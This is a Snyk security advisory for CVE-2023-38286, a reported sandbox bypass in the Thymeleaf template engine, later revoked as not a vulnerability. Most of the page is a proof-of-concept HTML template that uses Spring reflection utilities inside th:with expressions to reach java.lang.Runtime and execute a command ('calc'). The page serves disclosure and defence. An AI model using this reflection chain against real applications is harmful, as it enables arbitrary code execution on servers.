Homepage
About Snyk

Sandbox Bypass The advisory has been revoked - it doesn't affect any version of package org.thymeleaf:thymeleaf-parent Open this link in a new tab

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGTHYMELEAF-5776186
  • published 14 Jul 2023
  • disclosed 14 Jul 2023
  • credit p1n93r
Report a new vulnerability Found a mistake?

Introduced: 14 Jul 2023

CVE-2023-38286 Open this link in a new tab
CWE-265 Open this link in a new tab

How to fix?

Upgrade org.thymeleaf:thymeleaf-parent to version 3.1.2.RELEASE or higher.

Amendment

This was deemed not a vulnerability.

Overview

Affected versions of this package are vulnerable to Sandbox Bypass due to insufficient checks, by allowing an attacker to execute arbitrary code via a crafted HTML.

PoC 

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
        th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"
>
    <td>
        <a
                th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
        >
            <a
                    th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"
            >
                <a
                        th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
                }"
                        th:href="${param2}"
                ></a>
            </a>

        </a>
    </td>
</tr>

</body>
</html>

References